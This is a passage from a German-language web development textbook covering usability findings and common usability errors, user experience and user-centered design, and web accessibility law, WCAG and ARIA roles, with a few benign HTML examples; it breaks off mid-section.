                        Die ideale Suchboxlänge ist 27 Zeichen breit. Bisher nahm man eine Suchboxbreite von 18 Zeichen an, was für lediglich 27 % der Suchwörter ausreichend war. Bei einer Erhöhung auf 27 Zeichen konnten 90 % der Suchwörter in die Box geschrieben werden, ohne abgeschnitten zu werden. Generell gilt: Verwenden Sie besser eine breitere als eine schmalere Suchbox.

                    

                    	
                        Blau ist die beste Farbe für Links, da Blau als Linkfarbe seit jeher bekannt ist und dadurch Links bestens als solche erkannt werden (Studie von Van Schaik und Ling: https://www.sciencedirect.com/science/article/abs/pii/S0747563203000049). Ist eine andere Linkfarbe okay? An sich ja, sofern ein starker Kontrast zur Text- und zur Hintergrundfarbe vorhanden ist.

                    

                    	
                        Leseverhalten: 79 % der User lesen nicht, sondern scannen die Webinhalte, und zwar in einem F-Muster.

                    

                

                
                    [Info]  Das F-Muster

                    Wenn wir davon ausgehen, dass unsere User Texte von links nach rechts und von oben nach unten lesen, so versteht man unter einem F-Muster, dass die User im oberen Bereich der Webseite noch weiter von links nach rechts lesen, als sie weiter unten nach rechts lesen. Einen guten Artikel hierzu finden Sie bei der Nielsen Norman Group: https://www.nngroup.com/articles/f-shaped-pattern-reading-web-content/.

                

            
        
        
            10.1.6    Typische Usability-Fehler

            In diesem Abschnitt sehen wir uns Usability-Fehler in zwei Kategorien an: die »Klassiker« und die 10 häufigsten Fehler laut der Nielsen Norman Group.

            
                Die Klassiker

                Werfen wir einen Blick auf die Klassiker unter den Usability-Fehlern:

                
                    	
                        Zu kleine klickbare Bereiche: Bedenken Sie gerade im Fall mobiler Seiten, dass der klickbare Bereich mindestens der Fingerkuppengröße entsprechen muss. Was für eine mobile Darstellung gilt, gilt aber auch für eine Desktop-Darstellung: Auch hier sind die User genervt, wenn die Klickbereiche zu klein sind.

                    

                    	
                        Kein Seitentitel oder ein falscher Seitentitel: Achten Sie darauf, dass die Seitentitel Ihrer Webseiten zum Inhalt passen. Der Seitentitel gibt eine erste Auskunft über den Inhalt der Seite. Außerdem wird er für die Suchergebnisse in Suchmaschinen-Anzeigen verwendet.

                    

                    	
                        Zu viele Webseiten mit zu wenig Inhalt (Aufteilung des Content auf mehrere Seiten): Bedenken Sie unsere zuvor gesammelten Erkenntnisse: Der User scrollt gern.

                    

                    	
                        Der Inhalt ist schwierig zu scannen: Platzieren Sie einige Blickanker (Bilder, größerer oder fetter Text, Text mit hohem Kontrast, Icons etc.), aber nicht zu viele. Jeder Blickanker sollte eine sprechende Überschrift bzw. eine Beschriftung erhalten, um den Inhalt informativ und konsistent zu halten. Jeder weitere Text sollte kurz und prägnant sein.

                    

                    	
                        Chaotisches Blickverhalten des Users: Auf der Website sind keine klaren Strukturen erkennbar, da die Blickanker zu willkürlich angebracht sind.

                    

                    	
                        Keine Kontaktmöglichkeit: Es fehlt eine Angabe einer E-Mail-Adresse, einer Telefonnummer oder eines Kontaktformulars.

                    

                    	
                        Keine Suchmöglichkeit bei informationslastigen Sites: Sie müssen keine eigene Suchmaschine programmieren – setzen Sie Google in Ihren Formularen ein (es ist sehr wahrscheinlich, dass Google bereits den Großteil Ihrer Site (wenn nicht alles) indiziert hat):

                        <form action="http://www.google.com/search" method="get">
    <input type="hidden" name="sitesearch" value="DOMAIN">
    <input type="search" name="q" size="29" maxlength="255">
    <input type="submit" value="Google Search">
</form> 


                    

                    	
                        Zu viele Funktionalitäten, die eine Registrierung voraussetzen

                    

                    	
                        Links, die ins Nirvana zeigen (speziell bei Permalinks der Fall)

                    

                    	
                        Zu lange Registrierungsformulare

                    

                

            
            
                Die 10 häufigsten Fehler

                Eine sehr interessante und immer wieder aktualisierte Studie der Nielsen Norman Group zeigt die zehn am häufigsten vorkommenden Usability-Fehler auf (https://www.nngroup.com/articles/top-10-enduring/):

                
                    	
                        Content wird nicht an der Stelle gefunden, wo er erwartet wurde.

                    

                    	
                        Konkurrierende Links und Kategorien: Der User kann nicht entscheiden, welche Kategorie ihn ans Ziel bringt.

                    

                    	
                        Unzusammenhängende Informationen (Islands of Information): Informationen werden zusammenhanglos auf der Website dargestellt.

                    

                    	
                        Sich wiederholende Links: Der User kommt seinem Ziel nicht näher, je öfter er klickt.

                    

                    	
                        Versteckte Kosten und Preise: Der User will sich über etwaige Kosten im Klaren sein.

                    

                    	
                        Auf Microsites gestrandete User: Der User findet keinen Weg weg von der Microsite.

                    

                    	
                        Schlechte Suchergebnisse

                    

                    	
                        Fehlerhafte Filtermöglichkeiten

                    

                    	
                        Überschwängliche Kundenbewertungen

                    

                    	
                        Versteckte Links (z. B. im Bereich, in dem der User Werbung erwartet)

                    

                

            
        
    


                    
                        
        10.2    User Experience

        Die User Experience (UX) spannt den Bogen, der den User betrifft, noch etwas weiter, indem sie sich auch mit dem Davor und dem Danach beschäftigt. Auch die zugehörige Norm lässt etwas tiefer blicken:

        User Experience ist laut DIN EN ISO 9241-210:

        »Wahrnehmungen und Reaktionen einer Person, die aus der tatsächlichen und/oder der erwarteten Benutzung eines Produkts, eines Systems oder einer Dienstleistung resultieren. [...] Dies umfasst alle Emotionen, Vorstellungen, Vorlieben, Wahrnehmungen, physiologischen und psychologischen Reaktionen, Verhaltensweisen und Leistungen, die sich vor, während und nach der Nutzung ergeben.«


        User Experience umfasst also den sehr wesentlichen Teil der (subjektiven) Emotionen mit allen Facetten (wie Vorlieben, Reaktionen usw.):

        
            	
                UX beschreibt das Nutzungserlebnis bzw. die Nutzungserfahrung.

            

            	
                Das Ziel der UX ist, dass sich der Nutzer für das Produkt/System begeistern soll.

            

            	
                UX »... umfasst alle Emotionen, Vorstellungen, Vorlieben, Wahrnehmungen, physiologischen und psychologischen Reaktionen, Verhaltensweisen und Leistungen, die sich vor, während und nach der Nutzung ergeben.«

            

            	
                UX »... ist eine Folge der Markenwahrnehmung, der Darstellung, Funktionalität, Systemleistungen, des interaktiven Verhaltens und der unterstützenden Ressourcen des interaktiven Systems, des inneren und physischen Zustands des Benutzers aufgrund seiner Erfahrungen, Einstellungen, Fähigkeiten und seines Charakters sowie des Nutzungskontextes.« (DIN EN ISO 9241-210)

            

        

        Diese Form von Gebrauchstauglichkeit kann ein Indikator für die Wahrnehmungen und Emotionen sein, die durch die Nutzung des Systems beim User hervorgerufen werden. Kriterien der Gebrauchstauglichkeit können angewendet werden, um Aspekte der User Experience zu beurteilen. Weiters kann man zusammenfassen, dass User Experience die Zeiten vor, während und nach der Verwendung eines Systems in den Blick nimmt.

        Aber wie machen wir das? Eine gute Möglichkeit für User-Experience-Designer, um Emotionen und Wert ins Spiel zu bringen, ist das Storytelling. Nehmen wir uns etwa Starbucks als Marke vor: Starbucks will nicht nur Kaffee verkaufen. Vielmehr will das Unternehmen, dass der Kunde in die Welt des Kaffees eintaucht, getreu deren Motto: »Work, Home and Starbucks«.

        Ein Verfechter von Usability, Don Norman, einer der Mitbegründer der Nielsen Norman Group, forscht seit vielen Jahren zum Thema Emotional Design. Er behauptet, dass im Fall interaktiver Medien das Storytelling allein nicht ausreiche, da der User mit uns interagiert. Die Ebenen der Interaktion sind folgende:

        
            	
                Das Visceral Design (intuitive Ebene) bildet den Zusammenhang zwischen dem Erscheinungsbild und der menschlichen Erstreaktion. Ein Beispiel wäre, dass der Mensch glatte und runde Elemente als sehr angenehm erachtet.

            

            	
                Im Falle des Behavioral Design (Verhaltensebene) stellt man sich die Frage, wie sich das System während der Verwendung verhält. Die Antwort auf diese Frage liefert sehr oft Usability-Erkenntnisse.

            

            	
                Das Reflektive Design (reflexive Ebene) beschäftigt sich damit, wie das Design von uns beurteilt wird: Ruft es positive oder negative Erinnerungen (und dergleichen) hervor?

            

        

        Durch den Einsatz des UX-Storytelling-Ansatzes zeigt sich, dass sich eine bessere Recall-Rate in Bezug auf Informationen kreieren lässt. Auch lässt sich die durch das Storytelling entstandene Empathie zwischen dem User und dem Anbieter verwenden, um den emotionalen Aspekt der (Interface-)Erfahrung besser zu verstehen. Da sowohl die Film- als beispielsweise auch die Spiele-Industrie eine solche Erfahrung transportiert, wird der User dies mehr und mehr von einer Website erwarten.

        
            10.2.1    User Centered Design

            Unter User Centered Design versteht man das Fokussieren auf den User in jeglicher Designsicht. Dabei wird »Design« zwar zumeist als grafisches Design aufgefasst (was nicht unverständlich ist, wird genau diese Definition doch tagtäglich in den Medien propagiert); aber hinter dem Begriff steckt dennoch einiges mehr:

            
                	
                    Interface Design: Hierunter versteht man hauptsächlich die grafische Ausgestaltung von Systemen. Das Wort Interface meint die Schnittstelle des Systems zum Menschen: eine Website, eine App oder Ähnliches. Das erklärte Ziel des Interface Design ist es, eine klare und deutliche Kommunikation von Information zu erschaffen.

                

                	
                    Interaktionsdesign: Unter der Interaktion versteht man wiederum die Wechselwirkung zwischen User und System, indem ein User ein System bedient (darin agiert) und das System darauf reagiert. Durch die fortlaufende Aktion und Reaktion entsteht die Interaktion. Das Ziel des Interaktionsdesigns ist es, klare Abläufe zu designen.

                

                	
                    Informations- oder Sensorial Design: Das Informationsdesign legt fest, auf welche Art und Weise Informationen dargestellt werden. Neben der textuellen Darstellung versteht man hierunter auch Illustrationen, (Info-)Grafiken oder Ähnliches – eben all das, woraus der User Informationen beziehen kann. Hierbei achtet man auf die Kommunikation über die Sinne (visuell, auditiv, taktil).

                

            

            Die Sichtweisen der Nutzer und deren kontinuierliche Rückmeldungen werden systematisch ab den frühen Entwicklungsphasen durch verschiedene Ansätze und Erhebungsmethoden erfasst und in mehreren, sich wiederholenden Schleifen durch Nutzer und Usability- und UX-Experten überprüft.

            Um also das Ziel zu erreichen, das man sich gesetzt hat, muss man am »Erlebnis Schnittstelle Mensch–Maschine« arbeiten. Denkt man beispielsweise an eine Online-Überweisung, so würde man in erster Linie denken, dass die Funktionalität und Einfachheit im Vordergrund steht – getreu den Vorgaben der Usability. Dies würde jedoch in vielen Fällen in einem straighten, mitunter vielleicht hässlichen Design resultieren. Was also ist Design? Design ist:

            
                	
                    Vordenken und imaginieren, was Nutzer sich noch nicht vorstellen können (Innovation und Provokation).

                

                	
                    Die korrekten (richtigen) Anforderungen für die gesamte Usergruppe existieren nicht. Es ist also ein gewisses Maß an Risiko vorhanden, was wiederum Erkundung und Innovation nach sich zieht.

                

                	
                    Problemdefinition und -lösung miteinander verknüpfen: Dies bedingt ein partizipatives, interaktives und zyklisches Vorgehen. Mitunter resultiert dies auch in einem parallelen Vorgehen, indem mehrere Varianten entwickelt werden, sollte dies zeitlich möglich sein.

                

                	
                    Design setzt die Auseinandersetzung mit potenziellen Usern (Bedürfnisse, Anforderungen, Wünsche, Ideen) voraus.

                

            

        
    


                    
                        
        10.3    Barrierefreiheit

        Die Barrierefreiheit gilt als eines der wichtigsten Themen in der Webentwicklung. Es geht darum, Barrieren zu entfernen, die Usern mit Einschränkungen bei der Bedienung von Websites (Apps etc.) im Wege stehen könnten.

        Barrierefreiheit wird häufig mit Behinderung assoziiert, was nur teilweise richtig ist. Der Begriff Behinderung hat medizinische (siehe etwa die Klassifizierung der WHO unter https://www.who.int/standards/classifications/international-classification-of-functioning-disability-and-health) als auch soziale Aspekte. Gerade die soziale Ausgrenzung stellt Menschen vor große Hürden, stellt sie doch eine systematische Benachteiligung dar. Anne Waldschmidt definiert daher den Begriff Behinderung wie folgt:

        »Behinderung ist kein Ergebnis medizinischer Pathologie, sondern das Produkt sozialer Organisation. Sie entsteht durch systematische Ausgrenzungsmuster, die dem sozialen Gefüge inhärent sind. Menschen werden nicht auf Grund gesundheitlicher Beeinträchtigungen behindert, sondern durch das soziale System, das Barrieren gegen ihre Partizipation errichtet. Während das individuelle Modell den Körperschaden oder die funktionale Beeinträchtigung als Ursachenfaktor ausmacht, geht das soziale Modell von der sozialen Benachteiligung als der allein entscheidenden Ebene aus. Entsprechend wird soziale Verantwortlichkeit postuliert und die Erwartung, dass nicht der einzelne, sondern die Gesellschaft sich ändern müsse.« (https://bidok.uibk.ac.at/library/waldschmidt-modell.html)


        Neben diesen Ansätzen existieren quer über alle Staaten der Welt unterschiedliche Begriffsdefinitionen. Beispielsweise findet man im österreichischen Bundesgesetz über die Gleichstellung von Menschen mit Behinderungen (BGStG, Paragraf 3) folgende Definition:

        »Behinderung im Sinne dieses Bundesgesetzes ist die Auswirkung einer nicht nur vorübergehenden körperlichen, geistigen oder psychischen Funktionsbeeinträchtigung oder Beeinträchtigung der Sinnesfunktionen, die geeignet ist, die Teilhabe am Leben in der Gesellschaft zu erschweren. Als nicht nur vorübergehend gilt ein Zeitraum von mehr als voraussichtlich sechs Monaten.«


        An dieser Stelle sei angemerkt, dass die österreichische Bestimmung in einer ähnlichen Form in vielen Staaten, aber auch in der Behindertenrechtskonvention der UN zu finden ist.

        
            10.3.1    Relevante Einschränkungen

            Nachdem nun klar ist, dass die Behinderung das auslösende, aber vielen Fällen nicht das wirkende Element ist, muss nun geklärt werden, welche Formen der Behinderung existieren. Bevor wir uns der Lösung der Probleme von Menschen mit derartigen Einschränkungen widmen, müssen Sie die Problemfelder etwas genauer verstehen lernen:

            
                	
                    Visuelle Einschränkungen in Form einer eingeschränkten Sehfähigkeit bzw. einer Blindheit (völligen Blindheit oder auch Farbenblindheit): Durchschnittlich sind in Österreich beispielsweise etwas mehr als 3 % der Bevölkerung von einer Blindheit betroffen. Weltweit schätzt man diejenigen Menschen mit einer Farbenblindheit bzw. Farbenfehlsichtigkeit (Farbanomalie, Rot-Grün-Sehschwäche) auf etwa 3 bis 4 % (ca. 6 % aller Männer und 0,3 % aller Frauen).

                

                	
                    Auditive Einschränkungen in Form einer Hörbehinderung bzw. einer Gehörlosigkeit: Eine Einschränkung im auditiven Bereich (verminderte Hörfähigkeit im Bereich von 20 bis 40 dB) haben in Österreich etwa 5 % der Bevölkerung. Die vollständige Gehörlosigkeit (Verminderung der Hörfähigkeit um etwa 90 dB) ist mit etwa 1 % (oder etwa 8.000 bis 10.000 Personen) weniger verbreitet.

                

                	
                    Motorische und haptische Einschränkungen stellen in der Regel diejenigen Einschränkungen dar, die die größte Auswirkung zeigen, da sie eine Einschränkung des Bewegungsapparates bzw. des Tastsinnes meinen. Insbesondere Erstere stellen die betroffenen Menschen bei der Bedienung von Websites vor große Herausforderungen, die in der Regel nur durch assistierende Systeme bewältigt werden können.

                

                	
                    Kognitive Einschränkungen werden üblicherweise in medizinische und funktionelle Behinderungen unterteilt. Diejenigen mit medizinischem Hintergrund lassen Rückschlüsse auf eine direkte Einschränkung zu (Down-Syndrom, Autismus), diejenigen mit funktionellem Hintergrund lassen sich hingegen nicht so eindeutig fassen (Konzentrationsstörungen, Lernschwierigkeiten, eingeschränkte Gedächtnisleistung). Laut einer Untersuchung des Bundesministeriums für Soziales, Gesundheit, Pflege und Konsumentenschutz in Österreich aus dem Jahr 2019 geben ca. 14,5 % der Bevölkerung an, Probleme mit der Konzentrations- und Merkfähigkeit zu haben.

                

            

            Es sei an dieser Stelle angemerkt, dass ein fortgeschrittenes Lebensalter per se keine Behinderung darstellt, jedoch gehen mit diesem oftmals reale Behinderungen (motorisch, auditiv, visuell) einher. Dies ist insofern von Bedeutung, als dass von der Zielgruppe für zu entwickelnde Projekte oftmals nur die demografischen Daten wie etwa das Lebensalter bekannt sind.

        
        
            10.3.2    Was hilft, was unterstützt? Assistierende Technologien

            Für betroffene Personen stellt sich nun die Frage, wie sie mit Websites und Apps arbeiten können. Je nach Einschränkung stehen ihnen unterschiedliche sogenannte assistierende Technologien zur Verfügung:

            
                	
                    Bei visuellen Einschränkungen können Screenreader zum Einsatz kommen. Derartige Systeme lesen den Inhalt einer Webseite – sofern dieser entsprechend aufbereitet ist – vor oder geben ihn über eine Braille-Zeile aus. Bei einer Braille-Zeile erfolgt die Steuerung über eine Tastatur, mit deren Hilfe der User von einem Element auf dem Bildschirm zum nächsten springen kann. Mittlerweile liefern die gängigen Betriebssysteme solche Screenreader mit aus (Windows Narrator bzw. macOS/iOS VoiceOver), die jedoch nicht an die Möglichkeiten gängiger Screenreader wie JAWS (https://www.freedomscientific.com/products/software/jaws/) oder Dolphin (https://yourdolphin.com/ScreenReader) heranreichen.
Ist der Grad der Seheinschränkung nicht zu gravierend, können auch Bildschirmlupen oder ähnliche Systeme eingesetzt werden. Diese sind in der Lage, Teile des Bildschirms zu vergrößern. Außerdem haben wir uns in Abschnitt 2.9, »Wie Farbe wirkt«, sowie in Kapitel 8 über Responsive Design damit auseinandergesetzt, wie man der Farbfehlsichtigkeit begegnen kann.

                

                	
                    Auditive Einschränkungen löst man, indem zu auditiv dargestellten Inhalten (Audio- und Videodaten) auch textuelle Inhalte (Alternativtexte, Untertitel, Transkripte) oder assistierend Videos in Gebärdensprache bereitgestellt werden. Ersteres ist eine für den Website-Betreiber lösbare Aufgabe, Zweiteres ist jedoch nahezu unlösbar.

                

                	
                    Motorische Einschränkungen, die Menschen bei der Bedienung von Systemen (und somit auch Websites) beeinträchtigen, betreffen oftmals Extremitäten (Arme, Hände), wodurch die Steuerung mit Maus und Tastatur teilweise oder völlig entfällt. Manchmal können spezielle Klein- oder Großfeldtastaturen (Tastaturen mit weniger Tasten, geringerer Größe, geringerem Tastenabstand, größeren Tasten etc.) helfen, in anderen Fällen kann etwa eine Mund- oder Augensteuerung zum Einsatz gelangen.

                

                	
                    Kognitiven Einschränkungen begegnet man, indem man an der Formulierung von Texten arbeitet, wie das vielerorts bereits unter dem Begriff einfache Sprache erfolgt. Hierbei wird darauf geachtet, kürzere und leichter verständliche Sätze zu verwenden, die ein einfacheres Verstehen ermöglichen.

                

            

            Neben diesen assistierenden Technologien sollte ich auch die Sprachsteuerung nicht unerwähnt lassen. Viele Betriebssysteme erlauben bereits eine Steuerung des Systems mithilfe der Sprache, und auch in unserem täglichen Tun ist sie in Form von Siri, Google Assistant und Co. gang und gäbe geworden.

            
                [+]  Screenreader selbst testen

                Testen Sie die Umsetzung von Barrierefreiheit einfach mal, indem Sie eine Website Ihrer Wahl besuchen und sich den Inhalt von dem Screenreader vorlesen lassen, der auf Ihrem Betriebssystem installiert ist. So erhalten Sie einen Eindruck davon, wie es Menschen mit visuellen Einschränkungen ergeht.

            

        
        
            10.3.3    Barrierefreiheit im Internet – Web Accessibility

            In mittlerweile zahllosen Beiträgen wird der Begriff Barrierefreiheit kritisiert, da er aus Sicht der Autoren dem eigentlichen Begriff Accessibility (dt. Zugänglichkeit) nicht gerecht wird. Ich will mich dieser Diskussion hier nicht anschließen, da sie von unserer eigentlichen Thematik ablenkt. Widmen wir uns nun wieder dem Thema, denn schlussendlich geht es um die Beseitigung von Barrieren jeder Art.

            Das W3-Konsortium (W3C) beschäftigt sich seit vielen Jahren mit dem Thema Web Accessibility und hat dazu Richtlinien in unterschiedlichen Versionen veröffentlicht. Der Grund für die fortlaufende Anpassung dieser Richtlinien ist vor allem, dass man einerseits die Einschränkungen von Menschen immer besser versteht und andererseits auch die Technologien und somit die Maßnahmen zur Bekämpfung der so entstehenden Barrieren besser und zielgerichteter werden. Seit Oktober 2023 steht die Version 2.2 der WCAG (Web Content Accessibility Guidelines) als Recommendation bereit. Jedoch wird vielerorts noch an der Version 2.1 festgehalten, weshalb wir uns zunächst mit dieser Fassung auseinandersetzen werden, bevor wir einen Blick auf die Version 2.2 werfen. Bevor wir diesen Schritt gehen, werfen wir noch einen Blick auf die aktuelle Rechtslage.

            
                Barrierefreiheit als verpflichtende Maßnahme?

                Ob Barrierefreiheit verpflichtend für jede Website ist oder ob davon nur gewisse Websites betroffen sind, ist eine nicht unwesentliche Frage. Die Antwort hängt von der jeweiligen Rechtssprechung eines Staates ab. Unabhängig davon haben jedoch die Vereinten Nationen (United Nations – UN) bereits im Jahr 2006 im Rahmen der UN-Behindertenrechtskonvention in Artikel 4, Punkt 6 Folgendes festgehalten (vgl. https://www.behindertenrechtskonvention.info/uebereinkommen-ueber-die-rechte-von-menschen-mit-behinderungen-3101/#4-artikel-4---allgemeine-verpflichtungen):

                »Die Vertragsstaaten verpflichten sich, die volle Verwirklichung aller Menschenrechte und Grundfreiheiten für alle Menschen mit Behinderungen ohne jede Diskriminierung aufgrund von Behinderung zu gewährleisten und zu fördern. Zu diesem Zweck verpflichten sich die Vertragsstaaten […] Forschung und Entwicklung für Güter, Dienstleistungen, Geräte und Einrichtungen in universellem Design […] die den besonderen Erfordernissen von Menschen mit Behinderungen mit möglichst geringem Anpassungs- und Kostenaufwand gerecht werden, zu betreiben oder zu fördern, ihre Verfügbarkeit und Nutzung zu fördern und sich bei der Entwicklung von Normen und Richtlinien für universelles Design einzusetzen.«


                Nun ist noch nicht gesagt, dass diese Vereinbarung auf jede veröffentlichte Website oder App anwendbar ist. Dennoch handelt es sich hierbei um die UN-Behindertenrechtskonvention, die – ähnlich der Menschenrechtskonvention – nicht auf die leichte Schulter genommen und als nette Aufforderung gedacht sein soll. Ganz im Gegenteil: Sie gibt uns Anlass dazu, das eigene Wirken als Webentwickler*in zu hinterfragen und entsprechend der Menschlichkeit zu handeln. Erinnern Sie sich daran, dass der prozentuale Anteil der Menschen mit Einschränkungen nicht vernachlässigbar ist.

                Etwas strenger fällt seit dem Jahr 2019 die Regelung für den Onlinehandel aus, die als Richtlinie des Europäischen Parlaments über die Barrierefreiheits-Anforderungen für Produkte und Dienstleistungen (EU 2019/882) – kurz: European Accessibility Act – formuliert ist. Sie besagt unter anderem, dass der Onlinehandel künftig barrierefrei zu gestalten ist (vgl. hierzu https://eur-lex.europa.eu/legal-content/DE/TXT/?uri=CELEX%3A32019L0882). Verbindlich wird diese Richtlinie spätestens im Juni 2025, wenn diese EU-Richtlinie in ein innerstaatliches Gesetz überführt werden muss.[ 4 ] In Deutschland bestimmt das Barrierefreiheitsstärkungsgesetz (BFSG), dass folgende Dienstleistungen ab 2025 barrierefrei anzubieten sind:

                
                    	
                        Telefondienste

                    

                    	
                        E-Books

                    

                    	
                        Messenger-Dienste

                    

                    	
                        Auf Mobilgeräten angebotene Dienstleistungen (Websites, Apps) im überregionalen Personenverkehr

                    

                    	
                        Bankdienstleistungen

                    

                    	
                        Elektronischer Geschäftsverkehr, beispielsweise der Online-Handel

                    

                    	
                        Personenbeförderungsdienste (mit regionalen Einschränkungen)

                    

                

                Die obigen Regelungen sind jedoch nur auf Dienstleister anzuwenden, die nicht unter den Begriff »Kleinstunternehmen« fallen: Dies sind Unternehmen mit weniger als 10 Beschäftigten sowie einem Jahresumsatz von weniger als 2 Millionen Euro. Auch darf von der Einhaltung des Gesetzes abgesehen werden, wenn die Einhaltung eine unverhältnismäßige Belastung für das Unternehmen bedeuten oder zu einer grundlegenden Veränderung des Unternehmens führen würde. Stattdessen werden diese Unternehmen angehalten, eine (barrierefrei zugängliche) Erklärung abzugeben, wie sie dennoch versuchen, die Inhalte des BFSG zu erfüllen. (Dies ist in Anlage 3 des BSFG geregelt, siehe https://bfsg-gesetz.de/anlage-3/.)

                Spätestens an dieser Stelle wird wohl auch bei Ihnen ein etwas unangenehmes Gefühl in der Magengegend entstehen: Rechtliche Spitzfindigkeiten und daraus entstehende Konsequenzen sind Punkte, die mit unserer Arbeit nur wenig zu tun haben. Aus diesem Grund rate ich Ihnen, sich im Zweifelsfall einen Rechtsbeistand zu suchen. Wie Sie jedoch in Abschnitt 10.3.4 feststellen werden, sind die geforderten Regelungen gar nicht so dramatisch, sofern Sie die Website auch jetzt schon nach bestem Wissen und Gewissen erstellt haben.

                Eine weitere – und mittlerweile auch hinlänglich bekannte – Verordnung der EU ist jedoch bereits seit 2016 in Kraft: Die Richtlinie 2016/2102 verfolgt das Ziel, Websites und Apps von öffentlichen Stellen (Behörden etc.) barrierefrei zu machen. Sie besagt in diesem Sinne, dass die EU-Mitgliedsstaaten dazu aufgefordert werden, ihre Websites/Apps barrierefrei zu gestalten, sollte dies nicht mit einem unverhältnismäßig hohen Aufwand einhergehen (vgl. https://eur-lex.europa.eu/legal-content/DE/TXT/?uri=CELEX%3A32016L2102). In Österreich schlägt sich diese Richtlinie etwa im Web-Zugänglichkeitsgesetz (WZG) nieder.

            
            
                Die Web Content Accessibility Guidelines (WCAG)

                Wie bereits erwähnt, hat sich das W3-Konsortium schon seit Jahren der Thematik Barrierefreiheit angenommen und hat mittlerweile mehrere Versionen seiner Guidelines veröffentlicht. Sämtliche Versionen beinhalten Regeln, wie man Menschen mit Behinderungen Websites und Apps zugänglicher machen soll.

                Weil manche Regeln einfach, andere wiederum nur mit großem Aufwand implementierbar sind, definiert das W3-Konsortium ab Version 2.0 der WCAG drei sogenannte Konformitätsstufen, die auf Erfolgskriterien basieren. Diese lösen die in WCAG 1.0 definierten Konformitätsstufen ab, die auf Prüfpunkten basieren. Die erwähnten Erfolgskriterien basieren wiederum auf vier grundlegenden Prinzipien (vgl. https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head):

                
                    	
                        Wahrnehmbar: Informationen und Komponenten der Benutzeroberfläche müssen so im Code umgesetzt werden, dass Benutzer sie wahrnehmen können. Das bedeutet, dass die Benutzer die präsentierten Informationen wahrnehmen können müssen. Wer Informationen nicht sehen kann, muss sie aber hören können.

                    

                    	
                        Bedienbar: Komponenten der Benutzeroberfläche und Navigation müssen bedienbar sein. Das bedeutet, dass Benutzer in der Lage sein müssen, die Schnittstelle zu bedienen. Die jeweilige Schnittstelle darf keine Interaktion erfordern, die ein Benutzer nicht ausführen kann.

                    

                    	
                        Verständlich: Informationen und die Bedienung der Benutzeroberfläche müssen verständlich sein. Dies bedeutet, dass Benutzer in der Lage sein müssen, die Informationen sowie die Bedienung der Benutzeroberfläche zu verstehen. Der Inhalt oder die Bedienung dürfen nicht über ihr Verständnis hinausgehen.

                    

                    	
                        Robust: Der Inhalt muss robust genug sein, sodass er von einer Vielzahl von Benutzeragenten, einschließlich Hilfstechnologien, zuverlässig interpretiert werden kann. Dies bedeutet, dass Benutzer in der Lage sein müssen, auf den Inhalt zuzugreifen, auch wenn die Technologien voranschreiten. Wenn sich Technologien und Benutzeragenten weiterentwickeln, sollte der Inhalt dennoch zugänglich bleiben.

                    

                

                Die jeweiligen Richtlinien (von denen 13 in der WCAG 2.1 existieren) sind den Prinzipien untergeordnet; unter den Richtlinien finden sich schlussendlich 73 Erfolgskriterien, die unterschiedlichen Stufen zugeordnet sind. Die Konformitätsstufen selbst sind wie folgt definiert:

                
                    	
                        Konformitätsstufe A: Sämtliche Erfolgskriterien der Stufe A sind erfüllt.

                    

                    	
                        Konformitätsstufe AA: Sämtliche Erfolgskriterien der Stufen A und AA sind erfüllt.

                    

                    	
                        Konformitätsstufe AAA: Sämtliche Erfolgskriterien der Stufen A, AA und AAA sind erfüllt.

                    

                

                Im Sinne des (österreichischen) Web-Zugangsgesetzes muss die Konformitätsstufe AA erreicht werden. In Deutschland ist auf Bundesebene die Richtlinie im Behindertengleichstellungsgesetz (BGG) verankert und durch die seit Mai 2019 gültige Version der Barrierefreie-Informationstechnik-Verordnung (BITV) 2.0 umgesetzt, die nun vom Barrierefreiheitsstärkungsgesetz abgelöst wurde. Die BITV legt die zur Erfüllung von Barrierefreiheit erforderlichen Anforderungen fest und knüpft an die Europäische Norm EN 301 549 und demnach an die Anweisungen der WCAG 2.1 an.

                In den folgenden Abschnitten gehe ich noch genauer auf diese Richtlinien ein.

            
            
                Semantik vs. WAI-ARIA-Rollen

                ARIA steht für Accessible Rich Internet Applications und ist ein Webstandard, der eine Reihe von Rollen und Attributen beschreibt, die Möglichkeiten definieren, um Webinhalte und Webanwendungen (insbesondere solche, die mit clientseitiger Programmierung wie etwa JavaScript entwickelt wurden) für Menschen mit Behinderungen zugänglicher zu machen.

                Die grundlegendste ARIA-Regel lautet aber:

                »Sollte ein HTML-Element existieren, das die gewünschte Bedeutung mit sich bringt, so sollte dieses auch verwendet werden, anstatt einem anderen (bedeutungslosen) Element eine ARIA-Rolle zuzuweisen.« (https://www.w3.org/WAI/WCAG22/Understanding/non-text-content)


                Die ARIA-Attribute des W3-Konsortiums ermöglichen es also, zunächst bedeutungslosen Elementen dennoch eine Bedeutung (Semantik) zuzuweisen. Zwar existieren in HTML nur zwei bedeutungslose Elemente, nämlich <div> als Block- und <span> als Inline-Element, dennoch wird gerade das <div> fast schon inflationär oft verwendet.

                Sämtliche anderen HTML-Tags sind mit einer definierten Bedeutung versehen, wie es eigentlich auch sein sollte. Beispielsweise stellt ein <figure> ein mit <figcaption> beschriftetes Bild (oder ein anderes Medium bzw. beschrifteten Inhalt) oder ein <input type="email" ...> ein Eingabefeld für eine E-Mail-Adresse dar. Diese Informationen dienen Screenreadern oder ähnlichen Systemen dazu, den HTML-Code entsprechend interpretieren zu können.

                Um also bedeutungslosen HTML-Elementen dennoch eine bestimmte Bedeutung zuzuweisen, werden die aria-Attribute verwendet, wobei die Verwendung wie folgt ist:

                <tag role="role type" ...>

                Im Normalfall ist diese Verwendung ausreichend, jedoch wird in manchen Fällen zusätzlich eine Status- oder Eigenschaftsangabe benötigt. Beispielsweise kann einer ungeordneten Liste die Bedeutung eines Tab-Panels zugewiesen werden: <ul role="tabpanel">. Beinhaltet diese Liste jedoch keine Listenelemente, die als Tabs interpretiert werden können, so verfehlt die zugewiesene Rolle tabpanel ihr Ziel und ist sogar kontraproduktiv.

                Ein sehr anschauliches Beispiel ist etwa dieses (entnommen von https://developer. mozilla.org/en-US/docs/Web/Accessibility/ARIA):

                <div
    id="percent-loaded"
    role="progressbar"
    aria-valuenow="75"
    aria-valuemin="0"
    aria-valuemax="100">
</div>


                Dieses Codefragment stellt einen Fortschrittsbalken (Progress Bar) dar, der mithilfe eines (bedeutungslosen) <div> angelegt wurde. Warum verwendet man dafür aber nicht das eigentlich wesentlich besser geeignete HTML-Element <progress>? Nun, <progress> ist nicht bzw. nur teilweise durch CSS formatierbar, das <div> samt Inhalt jedoch sehr wohl. Wir stehen also vor einem gewissen Dilemma:

                
